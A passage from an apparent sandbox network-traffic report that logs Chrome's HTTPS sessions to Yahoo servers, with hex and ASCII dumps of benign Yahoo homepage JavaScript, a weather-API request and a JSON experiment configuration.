eckTime;if(i&&Date.now()-i<=6048e5)return s&&s(null,null),!1;a.checkSubscriptionChurn(function(e,n,i){var r=n.isOnboardError,t=n.pushManagerChurn;if(e\|\|!r&&!t)s&&s(null,null);else{var o=(i=i\|\|{}).origin\|\|"gondor_homerun_news";a._doRegisterServiceWorker(a.
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 2e 5f 73 65 6e 64 42 65 61 63 6f 6e 28 70 2c 7b 63 6f 64 65 3a 22 62 72 77 73 72 50 65 72 6d 46 65 74 63 68 45 72 72 6f 72 22 2c 6d 65 73 73 61 67 65 3a 65 7d 29 2c 6e 28 65 29 7d 29 3a 6e 28 6e 75 6c 6c 2c 69 2e 5f 62 75 69 6c 64 50 65 72 6d 69 73 73 69 6f 6e 4f 62 6a 65 63 74 43 68 72 6f 6d 65 28 6e 75 6c 6c 29 29 7d 2c 5f 72 65 71 75 65 73 74 50 75 73 68 50 65 72 6d 69 73 73 69 6f 6e 43 68 72 6f 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 2c 72 3d 69 2e 63 6f 6e 66 69 67 2e 73 65 72 76 69 63 65 57 6f 72 6b 65 72 55 72 6c 2c 74 3d 69 2e 63 6f 6e 66 69 67 2e 73 65 72 76 69 63 65 57 6f 72 6b 65 72 53 63 6f 70 65 3b 4e 6f 74 69 66 69 63 61 74 69 6f 6e 26 26 72 26 26 74 26 26 28 22 64 65 66 61 75 6c 74 22 3d 3d 3d 4e 6f Data Ascii: ._sendBeacon(p,{code:"brwsrPermFetchError",message:e}),n(e)}):n(null,i._buildPermissionObjectChrome(null))},_requestPushPermissionChrome:function(e,n){var i=this,r=i.config.serviceWorkerUrl,t=i.config.serviceWorkerScope;Notification&&r&&t&&("default"===No
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 22 3d 3d 3d 65 2e 74 61 72 67 65 74 2e 73 74 61 74 65 26 26 6e 28 29 7d 29 3a 72 2e 61 63 74 69 76 65 3f 6e 28 29 3a 65 28 22 53 65 72 76 69 63 65 20 57 6f 72 6b 65 72 20 6e 6f 74 20 61 63 74 69 76 65 22 29 7d 65 6c 73 65 20 65 28 22 50 65 72 6d 69 73 73 69 6f 6e 20 6e 6f 74 20 67 72 61 6e 74 65 64 22 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 4d 61 6e 61 67 65 72 2e 73 75 62 73 63 72 69 62 65 28 7b 61 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 65 72 4b 65 79 3a 6e 2e 61 70 70 53 65 72 76 65 72 50 75 62 4b 65 79 41 72 72 2c 75 73 65 72 56 69 73 69 62 6c 65 4f 6e 6c 79 3a 21 30 7d 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 28 65 26 26 65 2e 65 6e 64 70 6f 69 6e 74 26 26 Data Ascii: "===e.target.state&&n()}):r.active?n():e("Service Worker not active")}else e("Permission not granted")}).then(function(){return r.pushManager.subscribe({applicationServerKey:n.appServerPubKeyArr,userVisibleOnly:!0})}).then(function(e){if(!(e&&e.endpoint&&
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 67 69 66 79 28 65 29 29 2c 73 75 62 73 63 72 69 70 74 69 6f 6e 53 74 61 74 65 3a 6e 7d 7d 2c 5f 70 61 72 73 65 47 43 4d 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 2c 69 3b 72 65 74 75 72 6e 20 65 26 26 65 2e 65 6e 64 70 6f 69 6e 74 26 26 28 69 3d 28 6e 3d 65 2e 65 6e 64 70 6f 69 6e 74 2e 6d 61 74 63 68 28 2f 5e 68 74 74 70 73 5c 3a 5c 2f 5c 2f 28 66 63 6d 7c 61 6e 64 72 6f 69 64 29 5c 2e 67 6f 6f 67 6c 65 61 70 69 73 5c 2e 63 6f 6d 5c 2f 28 67 63 6d 7c 66 63 6d 29 5c 2f 73 65 6e 64 5c 2f 28 2e 2a 29 24 2f 29 29 26 26 6e 2e 6c 65 6e 67 74 68 26 26 6e 5b 33 5d 29 2c 69 7d 2c 5f 73 65 6e 64 42 65 61 63 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 3b 69 2e 62 65 61 63 6f Data Ascii: gify(e)),subscriptionState:n}},_parseGCMSubscriptionId:function(e){var n,i;return e&&e.endpoint&&(i=(n=e.endpoint.match(/^https\:\/\/(fcm\|android)\.googleapis\.com\/(gcm\|fcm)\/send\/(.*)$/))&&n.length&&n[3]),i},_sendBeacon:function(e,n){var i=this;i.beaco
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 69 73 2e 67 65 74 45 73 73 65 6e 74 69 61 6c 41 74 74 72 69 62 75 74 65 73 28 29 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 61 6c 6c 53 75 62 73 63 72 69 70 74 69 6f 6e 53 65 72 76 69 63 65 28 7b 6d 65 74 68 6f 64 3a 22 50 4f 53 54 22 2c 6f 70 65 72 61 74 69 6f 6e 3a 22 75 70 64 61 74 65 22 2c 73 65 72 76 69 63 65 52 65 73 6f 75 72 63 65 3a 22 73 75 62 73 63 72 69 70 74 69 6f 6e 73 2e 6f 54 6f 52 22 7d 2c 74 29 2c 21 30 7d 2c 5f 75 70 64 61 74 65 41 74 74 72 69 62 75 74 65 73 46 6f 72 53 75 62 73 63 72 69 62 65 64 55 73 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 69 6e 64 65 78 65 64 44 42 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 61 3d 74 68 69 73 3b 61 2e 5f 72 65 61 64 45 6e 74 72 79 49 6e 44 42 28 66 75 6e 63 74 69 6f Data Ascii: is.getEssentialAttributes());return this.callSubscriptionService({method:"POST",operation:"update",serviceResource:"subscriptions.oToR"},t),!0},_updateAttributesForSubscribedUser:function(){if(!window.indexedDB)return!1;var a=this;a._readEntryInDB(functio
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 49 6e 44 42 28 7b 65 6e 64 70 6f 69 6e 74 3a 65 2c 73 75 62 73 63 72 69 70 74 69 6f 6e 54 69 6d 65 3a 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 7d 2c 6e 29 7d 2c 6c 6f 67 50 75 73 68 4d 61 6e 61 67 65 72 46 61 69 6c 75 72 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 73 65 74 45 6e 74 72 79 49 6e 44 42 28 7b 65 72 72 6f 72 3a 22 70 75 73 68 4d 61 6e 61 67 65 72 46 61 69 6c 22 7d 2c 65 29 7d 2c 6c 6f 67 53 75 62 73 63 72 69 70 74 69 6f 6e 46 61 69 6c 75 72 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 73 65 74 45 6e 74 72 79 49 6e 44 42 28 7b 65 72 72 6f 72 3a 62 7d 2c 65 29 7d 2c 6c 6f 67 53 75 62 73 63 72 69 70 74 69 6f 6e 43 68 75 72 6e 43 68 65 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f Data Ascii: InDB({endpoint:e,subscriptionTime:(new Date).getTime()},n)},logPushManagerFailure:function(e){this._setEntryInDB({error:"pushManagerFail"},e)},logSubscriptionFailure:function(e){this._setEntryInDB({error:b},e)},logSubscriptionChurnCheck:function(e){this._
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 7d 2c 6e 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 45 72 72 6f 72 28 22 46 61 69 6c 65 64 20 69 6e 69 74 69 6c 61 7a 69 6e 67 3a 20 22 2b 65 2e 74 61 72 67 65 74 2e 65 72 72 6f 72 43 6f 64 65 29 3b 73 2e 5f 73 65 6e 64 42 65 61 63 6f 6e 28 70 2c 7b 63 6f 64 65 3a 22 49 44 42 49 6e 69 74 46 61 69 6c 22 2c 6d 65 73 73 61 67 65 3a 6e 2e 6d 65 73 73 61 67 65 7d 29 2c 6f 26 26 6f 28 6e 29 2c 69 2e 63 6c 6f 73 65 28 29 7d 7d 29 7d 2c 5f 72 65 61 64 45 6e 74 72 79 49 6e 44 42 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6f 3d 74 68 69 73 2c 73 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3b 6f 2e 5f 6f 70 65 6e 44 42 28 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 69 66 28 65 29 72 65 74 75 Data Ascii: },n.onerror=function(e){var n=new Error("Failed initilazing: "+e.target.errorCode);s._sendBeacon(p,{code:"IDBInitFail",message:n.message}),o&&o(n),i.close()}})},_readEntryInDB:function(t){var o=this,s=(new Date).getTime();o._openDB(function(e,i){if(e)retu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49906	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	1013	OUT	GET /tdv2_fp/api/resource/WeatherLocationService.favoriteLocation?returnMeta=true&lang=en-US&region=US&site=fp&ssl=1&crumb=zfSN82ZAbeD HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A
2024-01-10 23:27:13 UTC	1254	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: application/json; charset=utf-8 content-length: 21 etag: W/"15-umwiS4rIitQ2ijB3W71Mutm+O6U" vary: Accept-Encoding date: Wed, 10 Jan 2024 23:27:13 GMT x-envoy-upstream-service-time: 10 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=7n7f1glipu9uh&partner=; Connection: close
2024-01-10 23:27:13 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:13 UTC	21	IN	Data Raw: 7b 22 64 61 74 61 22 3a 5b 5d 2c 22 6d 65 74 61 22 3a 7b 7d 7d Data Ascii: {"data":[],"meta":{}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	49911	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	562	OUT	GET /ybar/exp.json HTTP/1.1 Host: edge-mcdn.secure.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	785	IN	HTTP/1.1 200 OK x-amz-id-2: v/Rl2wLeSC1GfM8PHP91Ao0Z4bKa7Y/u7ZPNxer5B0zlPHaN5xArXsxq0yquoQ+cNSQvQoVxQMk= x-amz-request-id: 3D07MDC9Q9QFHMEM Date: Wed, 10 Jan 2024 09:20:54 GMT Last-Modified: Tue, 06 Dec 2022 17:20:56 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: application/json Server: ATS Content-Length: 1784 Referrer-Policy: no-referrer-when-downgrade Etag: "877792d86d801176269a36ac7b4e6e02" Age: 50780 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 7b 0a 20 20 20 20 22 65 78 70 43 6f 75 6e 74 22 3a 35 2c 0a 20 20 20 20 22 73 65 6c 65 63 74 69 6f 6e 22 3a 22 69 6e 64 69 76 69 64 75 61 6c 22 2c 0a 20 20 20 20 22 75 70 6c 6f 61 64 54 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 0a 20 20 20 20 22 72 75 6e 50 72 6f 62 22 3a 31 30 2c 0a 20 20 20 20 22 65 78 70 4c 69 73 74 22 3a 5b 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 22 76 70 69 78 69 65 61 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 61 63 6f 6e 52 65 67 65 78 22 3a 22 5e 68 74 74 70 73 3a 5c 2f 5c 2f 76 2d 28 5b 5e 2e 5d 2a 29 2e 77 63 2e 79 61 68 6f 6f 64 6e 73 2e 6e 65 74 5c 2f 69 2e 67 69 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 61 72 67 65 74 22 3a 22 68 74 74 70 73 3a 2f 2f 76 2d Data Ascii: { "expCount":5, "selection":"individual", "uploadType":"group", "runProb":10, "expList":[ { "name":"vpixiea", "beaconRegex":"^https:\/\/v-([^.]*).wc.yahoodns.net\/i.gif", "target":"https://v-
2024-01-10 23:27:13 UTC	484	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 22 75 70 6c 6f 61 64 45 6e 64 70 6f 69 6e 74 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 79 62 61 72 2d 6d 63 64 6e 2d 72 65 70 6f 72 74 2e 77 63 2e 79 61 68 6f 6f 64 6e 73 2e 6e 65 74 2f 63 73 2f 22 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 69 6d 65 6f 75 74 22 3a 35 30 30 30 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 22 79 63 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 61 63 6f 6e 52 65 67 65 78 22 3a 22 5e 68 74 74 70 73 3a 5c 2f 5c 2f 63 65 72 65 62 72 6f 2e 65 64 6e 61 2e 79 61 68 6f 6f 2e 6e 65 74 5c 2f 6e 6f 71 75 65 72 79 5c 2f 70 69 78 65 6c 2e 67 69 66 5b 3f 5d 72 61 6e 64 3d 28 2e 2a 29 22 2c 0a 20 20 20 20 20 20 Data Ascii: "uploadEndpoints":["https://ybar-mcdn-report.wc.yahoodns.net/cs/"], "timeout":5000 }, { "name":"ycs", "beaconRegex":"^https:\/\/cerebro.edna.yahoo.net\/noquery\/pixel.gif[?]rand=(.*)",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	49909	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	541	OUT	GET /aaq/hc/homepage-pwa-defer-1.1.6.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	853	IN	HTTP/1.1 200 OK x-amz-id-2: wQEsN4Hv5PobByILUq/7Arx8sWqvuSAWUx7MM91Xqc9+j/VIOs8wR9oEKBSPaXDAkxilcR9VSxI= x-amz-request-id: VYRP5NHAYQK06ND4 Date: Wed, 10 Jan 2024 15:08:42 GMT Last-Modified: Tue, 02 May 2023 21:04:06 GMT ETag: "6ea12fccbed15820786c87f0b9b67d61" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 62z3e394BVX5YApOMJTuFHiUFyy3mHgC Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 67717 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 29912 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 48 6f 6d 65 70 61 67 65 43 6c 69 65 6e 74 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 48 6f 6d 65 70 61 67 65 43 6c 69 65 6e 74 3d 74 28 29 3a 65 2e 48 6f 6d 65 70 61 67 65 43 6c 69 65 6e 74 3d 74 28 29 7d 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("HomepageClient",[],t):"object"==typeof exports?exports.HomepageClient=t():e.HomepageClient=t()}("undefined"!=typeof self?self
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 29 2c 69 7d 2c 74 2e 6d 3d 65 2c 74 2e 63 3d 6f 2c 74 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 6f 29 7b 74 2e 6f 28 65 2c 6e 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 6f 7d 29 7d 2c 74 2e 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 64 65 66 61 75 6c 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 3b 72 65 74 75 72 6e 20 74 2e 64 28 6e 2c 22 61 22 2c 6e 29 2c 6e 7d 2c 74 2e 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 Data Ascii: ),i},t.m=e,t.c=o,t.d=function(e,n,o){t.o(e,n)\|\|Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:o})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 64 69 6e 67 53 75 70 70 6f 72 74 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 6c 6f 61 64 69 6e 67 22 69 6e 20 48 54 4d 4c 49 6d 61 67 65 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 7d 28 29 2c 74 2e 69 73 53 6c 6f 77 42 72 6f 77 73 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 29 72 65 74 75 72 6e 20 74 28 65 29 3b 76 61 72 20 6e 3d 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6e 6e 65 63 74 69 6f 6e 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 6d 6f 7a 43 6f 6e 6e 65 63 74 69 6f 6e 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 6b 69 74 43 6f 6e 6e 65 63 74 69 6f 6e 3b 69 66 28 6e 29 Data Ascii: dingSupported=function(){return"loading"in HTMLImageElement.prototype}(),t.isSlowBrowser=function(){var e=void 0;return new Promise(function(t){if(void 0!==e)return t(e);var n=navigator.connection\|\|navigator.mozConnection\|\|navigator.webkitConnection;if(n)
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 73 2f 40 76 7a 6d 69 2f 77 61 66 65 72 2d 63 6f 72 65 2f 73 72 63 2f 75 74 69 6c 73 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 72 65 74 75 72 6e 20 73 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 40 76 7a 6d 69 2f 77 61 66 65 72 2d 63 6f 72 65 2f 73 72 63 2f 75 74 69 6c 73 2f 75 74 69 6c 73 2e 6a 73 22 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 72 65 74 75 72 6e 20 63 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 40 76 7a 6d 69 2f 77 61 66 65 72 2d 63 6f 72 65 2f 73 72 63 2f 75 74 69 6c 73 2f 63 6f 6f 6b 69 65 2e 6a 73 22 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 20 6c 3d 6e 28 22 2e 2e 2f Data Ascii: s/@vzmi/wafer-core/src/utils.js":function(e,t,n){"use strict";function o(){return s=n("../../node_modules/@vzmi/wafer-core/src/utils/utils.js")}function r(){return c=n("../../node_modules/@vzmi/wafer-core/src/utils/cookie.js")}function i(){return l=n("../
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 2e 62 6f 74 74 6f 6d 7d 2c 76 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 28 65 2e 6f 66 66 73 65 74 57 69 64 74 68 7c 7c 65 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7c 7c 65 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 7d 2c 67 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 2c 6f 2c 72 29 7b 69 66 28 6f 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 74 29 29 7b 76 61 72 20 69 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 74 29 3b 72 5b 69 5d 26 26 72 5b 69 5d 2e 70 75 73 68 28 6f 29 7d 76 61 72 20 61 3d 6f 2e 63 68 69 6c 64 72 65 6e 3b 69 66 28 21 61 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 73 3d 61 2e 6c 65 6e 67 74 68 3b 73 2d 2d 3b 29 65 28 74 2c 6e 2c 61 5b 73 5d 2c 72 29 3b 72 65 74 75 72 6e 20 Data Ascii: .bottom},v=function(e){return!!(e.offsetWidth\|\|e.offsetHeight\|\|e.getClientRects().length)},g=function e(t,n,o,r){if(o.hasAttribute(t)){var i=o.getAttribute(t);r[i]&&r[i].push(o)}var a=o.children;if(!a)return r;for(var s=a.length;s--;)e(t,n,a[s],r);return
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 74 75 72 6e 20 70 28 62 2c 73 2c 7b 6f 66 66 73 65 74 58 3a 72 2c 6f 66 66 73 65 74 59 3a 61 7d 29 7d 2c 74 2e 74 68 72 6f 74 74 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 6f 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 69 3d 41 72 72 61 79 28 72 29 2c 61 3d 30 3b 61 3c 72 3b 61 2b 2b 29 69 5b 61 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 61 5d 3b 76 61 72 20 73 3d 2b 6e 65 77 20 44 61 74 65 3b 73 2d 6f 3c 74 7c 7c 28 6f 3d 73 2c 65 2e 61 70 70 6c 79 28 6e 2c 69 29 29 7d 7d 2c 74 2e 62 69 6e 64 45 76 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 33 26 26 76 Data Ascii: turn p(b,s,{offsetX:r,offsetY:a})},t.throttle=function(e,t,n){var o=0;return function(){for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];var s=+new Date;s-o<t\|\|(o=s,e.apply(n,i))}},t.bindEvent=function(e,t,n){var o=arguments.length>3&&v
